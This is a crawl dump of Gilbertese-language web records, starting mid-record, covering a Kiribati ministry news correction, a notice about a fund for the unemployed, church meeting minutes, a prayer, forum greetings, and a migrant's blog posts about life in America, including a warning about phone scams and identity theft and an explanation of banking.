mwamwananga","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2016\/07\/04\/marakei-te-nama","date":"2020-10-20T11:39:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107872686.18\/warc\/CC-MAIN-20201020105000-20201020135000-00393.warc.gz","language":"gil","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000054836273193}","num_words":74,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E totokoaki baon ana tiim BKMP ni kaongora iaon aba\nE tangiria ni kaeta te rongorongo ae AKEA KOAUANA te Botaki ni Makuri are e tabe ma babairean te kibakiba ao tauan mwin wanikiba iaon Kiribati ke te MICTTD ni mwangana are te Civil Aviation Authority (ke CAAK). E toka te rongorongo aio iaon te Kiribati Newstar No 23, 05 Tuun 2020 nte iteraniba 2, are e koreia ba \"E totokoaki baon ana tiim BKMP ni kaongora iaon aba\"\nE kaota nanokawakina te Tia Koroboki nte MICTTD ngkai e kona n kanakoaki te rongorongo ae kairua ao man aki tabwanin te kakae iaona.\nIbukin kaetan te rongorongo, ao bon akea ana bubuti BKMP ae ea tia n roko inanon bain te Civil Aviation Authority ibukin kabonganakin ana wanikiba Coralsun ibukin baoia ni karaoa aia campaign i aon aba. Te bubuti are e roko iroun te CAAK bon tii ana bubuti te tia bwaibwai n te Coralsun Airways bwa ena karaoa kibana nako aon aba ibukin tuoakin mwangan ana kambwana ake I aon aba. Akea rongorongon ana charter ibukin managaia kain BKMP ni kaembein.\nE riai naba ni matata bwa ana wanikiba Coralsun Airways ae kabongana e aki tauaki mwina ke n registered i Kiribati. Tauan mwin te wanikiba aio e mena ian ana Tua Papua New Guinea ao Toromon. Ngkai e kibakiba iaan Tuan aba tabeua ao iaan ana Tua Kiribati ibukin te kibakiba ao iai kaetieti aika e na riai n iri nanoia Coralsun Airways. Iai naba kainibaire aika e na kakoroi nanoia te Coralsun Airways n aron ae e bon kaman ataia ibukin kibakiban ana wanikiba iaon Kiribati.\nE kamatoa riki n taekinna te MICTTD bwa bon akea taekan kiban Coralsun Airways ibukin mwanangaia kain BKMP ae roko inanon baina.\nE tangiria naba ni kamatata te Tia Koroboki n te MICTTD bwa e rang ni kakawaki ae kanakoaki ke ni boretiaki rongorongo aika atabwanin raoi. Ngaia are e kan kaungaia riki botaki ni kareke rongorongo bwa a na karaoa aia kabanea n tamaroa ni karekei iteran rongorongo ni kabane. Te MICTTD e tauraoi n taainako n anga taian kaeka iaon rongorongo ake e kainnanoi te botanaomata n agana ao n taia ae e riai.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.micttd.gov.ki\/news\/e-totokoaki-baon-ana-tiim-bkmp-ni-kaongora-iaon-aba","date":"2020-10-23T02:48:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107880519.12\/warc\/CC-MAIN-20201023014545-20201023044545-00281.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":362,"character_repetition_ratio":0.077,"word_repetition_ratio":0.011,"special_characters_ratio":0.197,"stopwords_ratio":0.345,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"AIKAI KAMATAATA IBUKIN TE MWANE IBUKIA AKE AKI MWAKURI\n(SUPPORT FUND FOR UNEMPLOYED)\n-\nE riai am ririki ni maiu 18 nakon 59\n-\nAtaein te reirei ake a mwanenaki iroun te tautaeka, e aki reke nakoia te mwane aei n reitaki ma buure ni karabuti\n-\nE na iai tuaa nakoia ake a kabongana buakaa te mwane\n-\nUota am ID card man MOJ ke am bongi ni bung ke am passport ae tuai bane taina\n-\nE aki kabooaki te booma (form) ao a butiaki kauntira bwa a riai n anganako te booma n akea tauana ibukin bwakamwane mairoun te kauntira\n-\nE uki anaan te booma nikarokoa te tai ae na manga bon katanoataaki\n-\nIbukin titiraki ao reitaki ma te aobiti MWYSSA iaon 75022120, 75021015 ke ASWO's n ami abamwakoro","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/mwysa.gov.ki\/25-katanoata-2.html","date":"2020-12-03T22:10:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141732835.81\/warc\/CC-MAIN-20201203220448-20201204010448-00020.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":123,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hey ea otinako araia kauntira\nmai Tabwewa Bauro are iai tarina are e makuri USP(Tito) ao ai Manate Tabakea, Uma Teatu ao Tebaia,Tabiang Tiare Bureti ao Iekerua Karakaua manen Dr Mireta ao mai Buakonikai am unimane are Takire Timion ao kainumam are Nei Titaku Tabuariki\nI taku ba tingai moa mai ikai\ntia boo moa\nmauri! kouara ma buum ao am koraki n ataei? tao kam bon marurung ke? koa tia ni kaitibo ma Tasi ke kotuai...abon mena in Whangare outside Auckland somewhere.\nakea te news from here bati te vote ma ngaira tiaki vote ba tibon waeremwe. terikano eanga arana ma i tabwewa. tao koa bon tia n ongo are eatia ni motirawa Mina are buun uncle kama? tao tingaia moa anne...take care and god bless you all...bye for now.","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2vtho79etq864&page=2","date":"2020-12-02T15:28:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141711306.69\/warc\/CC-MAIN-20201202144450-20201202174450-00440.warc.gz","language":"gil","language_score":0.999907732,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9999077320098877}","num_words":131,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.198,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Tabo: ANA AUTI FR KORU TITO\nAika roko: IOANE, FR. KORU, TOOM TIMEE, TIRIA, KANTARAWA\nAki roko: IAN NAMAKIN, ERITABETA KATIMIRI\nE kaukaki te bowi n te nebonebo ao e kaira te nebonebo Nei Tiria. Ana taeka te Uea are e otinako iroun Nei Tiria n te vision are e roko bon Iesu ae tei man takini baina aika uaai nako moana are taraan ae kakabaia ma ana kamarai ae brown ana colour. E kabwara Nei Tiria man taku bwa n tamnein Iesu aio ae aki totoki n nonoria e anganna te korakora ao te onimaki. E karabwarabwa naba Toom imwin te nebonebo bwa eaki kona n nebonebo bwa e tineaki anganibaina ma e rabwa te ianena ae korakora bwa e a kounako naba n te tai anne. Bon akea te Tama n te tai aio bwa e nako ni kaira te tutia n te umantabu.\nKanoan te Bowi\nRinanoan minitin te bowi are e nako.\n1) Te Aba are kabureaki nakon te Charismatic\nE baireaki bwa e na kawaraki te Ebikobo iroun te Tia Babaire ma ana Kauoman ibukin manga kabouan ana baire iaon te piece of land are e a tia ngkoa ni kaburea nakon te charismatic. E kukurei te Tama Koru ni kabaea te Ebikobo ibukin tain kawarakina irouiia kain te NSC.\n2) Kain te tiim n tararuai Karea\nIbukin aki tauraoin aia ara kain Bikenibeu Parish ao Betio Parish ao e kamatoa te NSC bwa anganaki riki parish aikai teuana te week ao e riai n reke aia ara nakon te Sunday are tain te reitaki n nebonebo I Ambo 22\/08\/10. E kamatoaaki raoi anne irouiia parish aika uoua aikai.\n3) Manga kamaiuan Aonnaba\nAbamakoro aika ana manga kawaraki ake e bairei NSC bon:\n1. Marakei\n2. Onotoa\n3. Nonouti\n4. Tarawa Ieta\n5. Kuria","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/nsc\/minitin-ana-bowi-te-nsc\/50-17-aokati-2010","date":"2021-01-28T09:31:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704839214.97\/warc\/CC-MAIN-20210128071759-20210128101759-00435.warc.gz","language":"gil","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000090599060059}","num_words":291,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.378,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Reitaki \/ Communication\nN rokou i Amerika ao teuana te bwai ae i aki kona ni mwaninga bwa aron au taetae ni imatang ao aron ongou n aia taetae ni imatang kaain te aba. Eang e ngae ngke i maeka iaon Hawaii ao aron ongou n aia taetae aomata e bon rang kanganga ootau bwa i taku bwa arang wititi ao taeka aika a kakaboonganai kanga tiaki tataneai iai. Ngaia are i aki toki ni kangai nakoia, bwa ana kaokia riki taiaoka bwa iaki ota?\nAo n akea au atatai, ao ngaia naake a ongora irou ai bon ti tearona naba, bwa aaki oota irou bwa a taku bwa iai au ee ao aaki oota n tabeua au vocaburary bwa tiaki taeka aika a kakaboonganai. Ngaia are ngkana i taetae ao ngaia a bae n titirakinai bwa tera ae i taekinna?\". Ea bon tira taai aika i aki oota ni bwaai ae a taekinaki ma ia kewe naba ni kangai bwa angkoa i ota. Tokina ao e bure au mwakuri are i karaoia ke e bure te tabo are i nako iai bwa ai korakoran ae i rawa ni kaotia ae i aki oota. Eang n tabetai ao ti rawa ni kaotia ae tiaki oota bwa rimwi tina ngareakinaki ma tina uringa bwa e raoiroi riki ae ko kaotia ae ko aki oota nakon are kona kewe ao bon ngkoe are kona bon manga rawata imwiina.\nNi kaireitaki ma aron te maroro ao i uringii naba boong tabeua ake rotaaki kamanga ma ia ataia bwa i aki kona ni kangai ok ke i ota ngkana i bon aki oota nte bwai ae taekinaki","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/te-maeka-i-amerika.com\/te-reitaki-communication\/","date":"2021-01-17T05:32:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703509973.34\/warc\/CC-MAIN-20210117051021-20210117081021-00181.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":273,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atiniban Iesu ae Moan te Tabu,\nKe E maeka buroom n taai nako inanon buroora,\nAo ke e wawa nako Raram ae Moan te Tabu inanon tamneira,\nKe e otanako raneanean Atinibanim ae moan te Tabu inanon maiura ao ke E anganiira otan te maiu ae tabu.\nIesu, tai kataua ba ti na kona ni kitaniko, ma anganira am karatia ba ti na teimatoa ni kakarekea te kakorakoraki man Atinibanim ae moan te Tabu.\nUea inanon maiura n taai nako Atiniban Iesu, ba ti aonga n neneboa te Atua n aki toki. Amen","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/tataro\/tataro-aika-uarereke\/12-tataro-nakon-atiniban-iesu-ae-moan-te-tabu","date":"2021-01-21T18:08:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00489.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":93,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Taratara raoi man waaki ni kamwamwane ke waaki ni kekewe \/ Fraud or Scams\nIbuakon bwaai ake a mwaiti are tina riai n taratara raoi mai iai ibukin maurira ao katanara ao bon teuana te bwai ae rang kakawaki bwa tina ataia ao n aki reketaati iai ae aranaki ni imatang bwa Frauds ke Scams. Frauds ke Scams kanga mwakuri ni kamwamwane are a konaa n riki nakoira iaon te tareboon ke iaon te computer (online). Aikai mwakuri are i taku bwa ngaira nibane ake tia maeka i Amerika tia bon bane n tia n rinanoi. Waaki ni mwamwanai ke ni keweiko bwa aongkoa ea tia n reke kanoangam man teuana te kambana ke te titoa nte mwaiti ni mwane arei ao a tangira am akaunti nambwa, aram ke am tiotio tikuriti nambwa. N tabetai ao e roko n am text ke email ao e taku bwa e kona n reke am auti ni boona ae uarereke ngkana ko anga aram, am tabo are ko maeka iai ke am atureti (address) nambwan am akounti nte bangke ao a bati riki. A bon rang bati aron katein kamwamwanane ke mwakuri ni kewe aikai ao a bon rang bane n anai nano man tangiraoi kanga bon tenaan koaua ao arang kariirii.\nInanon maekara i Amerika ao tia bon tia ni kaitiboo ma waaki aikai, tiaki ti teuana te tai ma ea mwaiti. Ao tiaki ti ngai n rotaki bwa bon tariu naba ma mwaneu ake raora ni maeka ikai ao bon raora riki ni I-Kiribati ake a mwaing nako Amerika. I bon iango ao i taku, bwa irarikin are tirang irua nakon waaki aikai ma te tabo, ngaira naba bon aomata aika ti rang kakai onimakiniia aomata bwa are ti roko man te tabo ae uarereke, ngaia are ti bon rang kai mwane ni waaki aikai.\nAikai aekakin tabeua waaki ni kamwamwane ke ni kewekewe ake tina taratara raoi mai iai:\n- Kimoakim man Rongorongom ke Identity Theft: Ni moan rokora ao ti bane n ataia bwa teuana mai buakon bwaai aika ti kainanoi bwa ena iai iroura bon te tareboon bwa ti aonga ni kona n reitaki ma ara koraki, ara utu ma raoraora ake a tiku imwiira. Ngaia are te tareboon bon te moan bwai ae reke moa iroura imwaain angiin bwaai nako, riki ni boong aikai kioina ngkai ea rang bebete aron te reitaki mai iai ma raoraora ao ara utu. Ngke e tia ngkekei n reke ara tareboon ao ko uringa bwa engae ngke ko taku bwa akea ae ataa am nambwa bwa aongkoa e boou te nambwa are ko anganaki ma n tabetai ao e kairua ara iango anne bwa tabeua nambwa ake ti anganaki aa bon tia ni bwainaki mai mwaina. Ngaia are kona kubanako bwa ea roko naba am tekiti ke am tareboon man taabo aika ko bon tuai n reitaki ma ngaai. E kona n roko bwa te tekiti metieti (text message) nakon am tareboon ke e kona n roko bwa bon te wewete nakon am tareboon (phone call). Tareboon aikai a kona n tuangko bwa e reke kanoangam te mwane ke n tabetai bwaai n aron te tareboon, te computer ke bwaai n aekaia nako. Ao imwain ae anganiko kanoangam ao a kainanoa moa rongorongom ae banin, n aron aikai:\n- Bwaninin aram\n- Am tabo are ko maeka iai\n- Am bong ni bung\n- Am akounti number n am bangke\n- Am tiotio tikuriti nambwa ke am nambwa man te tautaeka.\n- Ao a bati riki.\nBon tai anga naba teuana rongorongom bwa te tareboon ane e roko bon te mwakuri ni kewe ke ni kamwamwane. Ngke ko anga naba rongorongom teutana ao koa ataia bwa am identity ke kinaakim ea kona ngkanne ni iraeaki irouia naakana ko taetae ma ngaia nte tareboon. E aranaki ikai bwa Identity Theft ke kimoakim man rongorongom ao e rang kakawaki bwa kona aki reke nte kamwamwane aei. Aio bukina, bwa ngke e reke ngkekei rongorongom irouia nakai ao e turaia te bwai ae a kona ni karaoia ma ngaia n aron aikai:\n- A kona ni kaboo kaa n aram\n- A kona n tarau te mwane n aram\n- A kona ni kabongana aram ni karaoa iai aia tax\nAo ea bon tira aron waaki riki aika a kona ni karaoi ma aram, am account nambwa ke am tiotio tikuriti, ngaia are e bon rang kakawaki bwa kona aki reke nte Identity Theft.\n- Tareboon ke tenaan tekiti ke email ni kamwamwane \/ Scam or Fraud Calls or texts.\nNi moan rokou i Hawaii, ao tabeua te namwakaina imwiina ao ea manga mwaing mwaneu mai Matiare nako Hawaii. Ngke e moan roko ao e karekea ana tareboon ao are ea anganaki ana nambwa n tareboon ae boou; 808 344 5139. Tao bon tabeua namwakaina imwiin ae e reke ana tareboon ao ea tata naba rokon tenaan tekiti metieti (text messages) ao tenaan wewete nte tareboon. Teuana mai buakon metieti akanne bwa e reke kanoangana nte titoa teuana ae mwaitina $2,000.00 ma a tangira ana akounti nambwa n ana bangke bwa e aonga ni karinaki iai ana mwane. E bon aki maningongoa taekana mwaneu nakoira bwa tao e kan kakubanakoira iai, ngaia are ea bon kanakoa rongorongona ae bwanin ma te kantaninga bwa ena roko ana mwane are $2,000.00.\nUoua te wiiki imwiin anne ao ea butiai bwa nna iria nakon te bangke bwa nna buokia ni kaeta aron te anai mwane ae karaoaki nakon ana akounti nte bangke n akea ana kariaia. I bon titirakinna bwa tera te anai mwane ae karaoaki ao ea karakinna nakoiu are iai te tareboon ae roko irouna ae taekan kanoangana ae mwaitina $2,000.00. Ao a tangirii rongorongona ngaia are e kanakoi ni kabane bwa e tangira te kanoanga are $2,000.00. Antai ae enaki tangira $2,000.00? Nte tai anne ao ngai bon akea naba au atatai n aekaki ni kamwane aikai. Ngaia are ia iria nakon ana bangke.\nNgke tia roko nte bangke ao tia kunea bwa te anai mwane are e karaoaki nakon ana akounti bon man te kambwana are e kanakoi rongorongona nakoia. Ea bon rang kanganga aron manga katokan te anai mwane arei bwa are nanona ngke e kanakoi bwaninin rongorongona ao ngaia ea bon anga naba ana kariaia ikekei bwa ana anai mwane man ana akounti n akea otana iai. E bon kataia ni buokia te bangke ao ntokin te bong ao ea kainaki ana akounti arei nte bangke bwa e aonga n aki manga kona n anai mwane mai iai te kambwana arei. E bon bubura mwakuriana ao e reke otara mai iai nte tai anne mairoun neiere te tia mwakuri nte bangke. Imwiin anne ao i bon kabwarabwara nakon mwaneu bwa ena aki riai ni manga reiti tabon aekaki aikai.\nMa e bon kanganga bwa are ni moan rokora ao ti bon rang tangiria ae ana waekoa n nakoraoi aron te maeu, te mwakuri, te kareke mwane ao bwaai nako, ngaia are n tabetai ko kakaea angana ae baiti. Ao nte bong teuana ao ea manga kaoti naba teuana te metieti n ana tareboon mwaneu arei. Aio ngkanne bon mairoun te kambwana are e bobwai mai iai iaon te kombiuta. Te kambana aei ko bon kona ni kabobwai mai iai iaon te kombiuta ao a merina am bwai are ko otanna ke ko kabooi mai irouia nakon am tabo are ko maeka iai. Ma imwiin otanakin ana bwai arei ao ea rang mimi bwa eaki toki te anai mwane man ana akounti nakon te kambwana arei. Akea te bwai ae I ataia nuua ea manga tuangai naba bwa nna manga buokia riki ni iria nakon te bangke bwa iai te bwai ae riki n ana akounti. Eaaki kan taekinna ae ai manga te anai mwane naba bwa ea maemae ibukin are ai te kauoua n tai aei ae riki nakoina. Ao kai are tau ma tia manga okira naba te bangke ao ni bubuti buokara. Tao a bon kangai kain te bangke arei bwa e aera kai tiaki toki ni katomai tabon kamwamwane aikai. Engae n anne ao are tia manga kaina naba ana kauoua n akounti bwa are ea aki toki te anai mwane mai iai. E bon bua te mwane ae bati inanon waaki aikai ao ti reirei mai iai nte kawai ae aki bebete. Ao imwwin anne ao ea bon ataia raoi mwaneu arei bwa ena rang taratara raoi. Engae ngke i rang kukurei bwa aaki riki nakoiu bwaai aikai ma a bane n tei bwa reirei aika i reiakini inanon au tai ni buoka mwaneu. Ao i bon taku, eang, a bon kona naba n reke nakoira nibane ngkana e rang uarereke ke akea ara atatai iaon bwaai aikai.\nBwaai aikai a riki tebwiina te ririki nako ao aaki toki rikiia nakoira ma tia rang kinai ao man taratara raoi riki ni boong aikai. Ao ni moan te ririki aio ao a roko ara koraki ni Kiribati-IMatiare ake a mwaing nako Maui inanon Beberuare, 2020. N aron are i taekinna ieta bwa eang te moan bwai are a karekea ni moan rokoia bwa aia tareboon. Ao ai arona naba, tabeua te wiiki imwiina ao e roko aia tekiti (text) ibukin te kanoanga ao a bati riki. Bukina bwa i reitaki ma ngaia ao i anganiia teutana taeka n reirei iaon bwaai aikai ao arang kakaonimaki ni weweteai bwa akan ataia bwa tenaan tekiti ke tareboon ake a roko bon koaua ke bwaai ni kamwamwane. I bon kabwarabwara raoi nakoia aron bwaai ake ti rinanoi ao anne are a bon rang ota iai man reke iai buokaia. Anne teuana mai ibuakon bwaai ake tina riai n taratara raoi ma iai bwa ko aki tangiria bwa kona kimoaaki man oin rongorongom are ko bon anganako. Rongorongom e rang taburoroko tibwaakina ma aomata aika aaki riai n ataia.\nEang bon te kauring ae kakawaki bwa engae ngke ti bane n ataia ae te aba ae Amerika e rang kinaaki bwa e bati te kabwaia iai ma tina ururinga bwa angiin te kabwaia are kona kantaningaia ke are e taekinaki e bon reke man mwiin am mwakuri korakora ke kona bon mwakuriia moa. Tina aki rang kakoaua bwa enang bon roko naba nakoira n akea mwakuriana. Tao eang tabeua a kona n roko iroura ngkana ti kemboroia ma tina aki kantaningaia bwa ena reke nte metieti ke te tareboon. Te bwai ae kakawaki bwa tina rang taratara raoi man aekaki n rongorongo aikai bwa rimwi ao tina mwanetaati iai. Ti iangoia ni kangai bwa engae naba n ae bon am bangke, e rang katabuaki bwa ena titirakiniko titiraki aikai iaon te tareboon. Anne kakawakin ao taburorokon ae kona anga rongorongom n aki akaka. Ena bon iai are ko riai n tibwai aikai ma ngaai n aron am tia kamwakuri, am taokita, am bangke ngkana ko nako nte bangke ao aomata aika ko kinaia man onimakiniia.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/te-maeka-i-amerika.com\/bwaai-aika-ko-aki-riai-ni-karaoi-ke-reiti-taboia-what-to-do-and-not-to-do\/","date":"2021-01-17T06:17:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703509973.34\/warc\/CC-MAIN-20210117051021-20210117081021-00312.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1791,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri naba. E koaua ea bon rangi ni maan te tai. Ko rabwa bwa abon rangini marurung raoi natira aikai ao kai a bon anga naba aia kamauri nakoim ma kain am auti ni kabane ao iriana are te katekeraoi naba. I a karokoa am kamauri nakoia kain Ronton. Ko a anganiira naba nambwan am mobile ngkana iai.\nTekeraoi naba.\nhola thee beloved UNCLE!! Long time no c kee..anyway, Kam uara ma ami funnatoi akanne? hopefully u'r all kicking. we miss you guys so much esp ara cousins akanne..ko a gania ara cousins akanne ara warm hug and kisses nte Xmas and New year aio....te UEA iroumi n taai nako. Love you always...bye and take care","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/banabanvoice.ning.com\/profile\/RitangTaratobwa","date":"2021-01-24T22:38:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703557462.87\/warc\/CC-MAIN-20210124204052-20210124234052-00370.warc.gz","language":"gil","language_score":0.9946664572,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9946664571762085}","num_words":116,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aika roko: Fr Koru, Iaen Namakin (Betio representative), Nei Tiria Riwata (Betio Parish representative), Nei Kantarawa Yeeting (Bikenibeu Parish representative), Eritabeta Katimiri (Teaoraereke Parish respresentative), ao Toom Timee (Bikenibeu Parish representative).\nAki roko: Ioane (Teaoraereke Parish representative)\nE kaukaki te bowi n te reitaki n tataro are e kairia te Tama Koru.\nKanoan te bowi:\nKanoan te bowi n te tai aio bon katean te taibora ae boou are e na manga kabuta ana waaki te NSC iaon Kiribati ae bwanin. E baireia te Tama bwa ana akea te rinerine ma e na kammwakuraki ana karea te tamnei ae raoiroi ni bwanana I nanora ibukin karaoan nanona. E na akea te maaku ibukin te kairiri bwa tiaki ngkoe ae ko na mwakuria bwa bon te Uea ae na mwakuri. Ao man ni bwanan te Uea I nanora ni kabane ao e a tebenako ngkanne kain ana taibora aika a boou bwa:\nTia babaire Iaen Namakin\nKauoman Ioane\nTia koroboki Nei Kantarawa Yeeting\nKauoman Toom Timee\nTia Mwane Nei Tuuria Riwata\nKauoman Nei Eritabeta Katimiri\n2. Mwanangan te Tia Babaire nako aonnaba.\nAio ngkanne are e anga naba nanona te tia babaire ni uooti nako bokin te charismatic are \"te maiu ae onraken te maiu ao te Emanuera Newsletter\" ni uouoti ni manangana bwa e a karokoi naba n abamakoro ake e na roko iai. E rarabwa te Uea bwa e a manga karekea te mananga aio bwa kawain naba tibwatibwaakin ana rongorongo ae raoiroi nakoia kain abamakoro ake a raroa nako.\n3. Aobitin te Charismatic\nTeuana naba nanon te taibora aio ni karaoa aobitin te charismatic I Teaoraereke ngkai e kakoaua naba ara Tama ae Fr Koru bwa e bon tia naba ni kabureaki iroun te Ebikobo te tabo ke te space are e kona ni kabonganaaki bwa nnena. E bon tauraoi naba te tama Koru ni ibuobuoki iaon te itera aio.\n4. Te reitaki n Nebonebo I Betio\nE tiku taekan kairan te botaki inanoni baia kain Betio ngkai bon aia tai ni kawaraki.\nKanga e uarereke te maroro moa ma e rarabwa te Uea bwa e koro bukin are e baireia ae na rineiia moa taan kabuta ana waaki man te Bentekota 2010 nakon Bentekota 2011.\nE rabwa te Uea n ana babaire. Alleluia.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/nsc\/minitin-ana-bowi-te-nsc\/48-20-turai-2010","date":"2021-01-28T08:31:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704839214.97\/warc\/CC-MAIN-20210128071759-20210128101759-00736.warc.gz","language":"gil","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000009298324585}","num_words":371,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.361,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Bangke \/ Banking\nTe kauki akounti n taian bangke. Bon teuana mai buakon bwaai aika a kakawaki ni moan rokom i Amerika bwa kona riai ni kauka am bangke akounti. Engae ngke e tira ke tao e uarereke te mwane ae ena karinaki nte bangke, te kauki akounti nte bangke tiaki nanona bwa e tira te mwane ae ena karinaki ma e rang kakawaki ibukin bwaai aika a mwaiti n aron:\n- Te Mwakuri – Ni moan teirakem n am mwakuri e bon rang bebete aron rokon ke kabwakin am bwakabwai ngkana iai am akounti nte bangke.\n- Katanan am mwane – N reken am akounti nte bangke ao ko kona n bubuti reken am kaati. Aio are e aranaki bwa te tebete kaati. E tan riki aron uouotakin am mwane iai. E bebete iai aron am bobwai nte titoa bwa koaki bae ni uouota rabwatan te mwane inanon baim. N tabetai tao tina raraoma bwa rimwi e bua te kaati ao a bua naba ara mwane ni kabane. Eang ti uringa bwa te kaati are e anganiko te bangke e roko ma ana tikuriti ke nambwana are ti ngkoe ae ko kona n ataia. Ngaia are erang kakawaki bwa kona aki anganako nambwan am kaati nakon temanna ae ko aki kariaia. Ma nte tai are ko namakinna iai bwa e bua am kaati anne e rang kakawaki bwa kona tareboonia am bangke bwa ana burokina ma kaati bwa e aonga n aki kona ni kabonganaaki iroun te aomata are e iraea ke e kunea.\n- Te Kuretiti tikoa – Tina manga taetae riki iaon aei n ara itera ni bae are e boboto iaon te Kuretiti Tikooa ma kaukakin te akounti nte bangke e rang kakawaki bwa e buokiko ni karikirakea am kuretiti tikooa n angaa aika a bati.\n- Te Bobai nte titoa – Te bobwai nte titoa i taku bwa e rang tan naba am mwane ngkana ko kabongana te kaati ao tiaki rabwatan te mwane. Irarikina naba ao kaboonganaan am kaati ko bon kona riki ni manga rinanon am kabane mwane bwa are iai mwiina n am titeitimente (statement) ni katoa tai are ko kabonganaa iai am kaati. Tao ena\n- Te Bobai iaon rain – Ni boong aikai ao ea rang kakabatiaaki naba te bobwai iaon rain. Eang tiaki te bwa ae ti rang taneiai iai ma n au koaua tabeua bwaai koa tii kona ni karaoi nte aon rain. Bon teuana aron karaoan waaki ae rang baiti ma kona bon ti taratara raoi n ataia bwa te ringke are ko kabongana e tan ao aaki manga kona n ana am mwane n akea am kariaia. Tabeua te bobwai iaon rain ae e bongana ao man baiti ma am kaati bwa te kabwara tarau nakon boon am tareboon, ke tao te kabwara tarau nakon boon am ran ke am iiti ao a bon bati riki.\n- Te mwane n tania – kaukakin am akounti nte bangke e rang kakawaki naba bwa e anganiko aanga tabeua are kona kona iai ni kauka am tieking akounti ke tao am tieiwing akount ke am mwane n tania. Ea bon kakaokoro aron waakin bangke nako ma I ataia man ongongou mai iroun tariu ae mwakuri nte bangke ao tabeua bangke a anganiko te kona ni kauka am mwane n tania ao ngkana ko kona ni karikirakea te baeranti iai ao a kona naba n anganiko te kuretiti kaati are kona kona ni kabongana ni karikirakea iai am kuretiti tikooa. Eang Kuretiti Tikooa bon te bwai ae rang kakawaki i Amerika ao tina taetae riki iaona n are iteranibae are e boboto iaon te Kuretiti 